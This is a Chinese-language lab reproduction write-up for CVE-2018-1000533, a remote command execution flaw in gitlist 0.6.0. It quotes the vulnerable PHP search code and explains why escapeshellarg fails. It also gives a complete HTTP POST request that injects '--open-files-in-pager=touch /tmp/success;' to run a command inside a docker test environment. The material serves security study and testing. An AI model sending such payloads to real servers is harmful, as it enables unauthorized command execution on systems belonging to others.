CVE-2018-1000533_gitlist 0.6.0 远程命令执行漏洞
前言
gitlist是一款使用PHP开发的图形化git仓库查看工具。在其0.6.0版本及以前,存在一处命令参数注入问题,可以导致远程命令执行漏洞。
环境搭建
192.168.4.10_ubuntu
#docker-compose up -d
环境启动后,访问`http://your-ip:8080`将看到一个名为`example`的仓库。
漏洞原理
在用户对仓库中代码进行搜索的时候,gitlist将调用`git grep`命令:
```php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}
```
其中,`$query`是搜索的关键字,`$branch`是搜索的分支。
如果用户输入的`$query`的值是`--open-files-in-pager=id;`,将可以执行`id`命令:
导致这个漏洞的原因,有几点:
1. 开发者对于`escapeshellarg`函数的误解,造成参数注入
2. `git grep`的参数`--open-files-in-pager`的值,将被直接执行
漏洞复现
发送如下数据包:
```
POST /example/tree/a/search HTTP/1.1
Host: your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Length: 56
query=--open-files-in-pager=touch /tmp/success;
```
其中,我们访问的是`/example/tree/a/search`,example是项目名称,需要是目标gitlist上一个已存在的项目;a在正常情况下应该是分支的名称,也就是`"grep -i --line-number {$query} $branch"`中的`$branch`,但因为我们的`$query`被当成了一个参数,所以`$branch`就应该被当做搜索的关键字。
如果没有搜索结果的话,我们的命令是不会被执行的,所以用“a”这个关键字,只是为了保证能搜出结果,你也可以换成其他的试试。
数据包发送后,用`docker-compose exec web bash`进入容器中,可见`/tmp/success`已成功创建: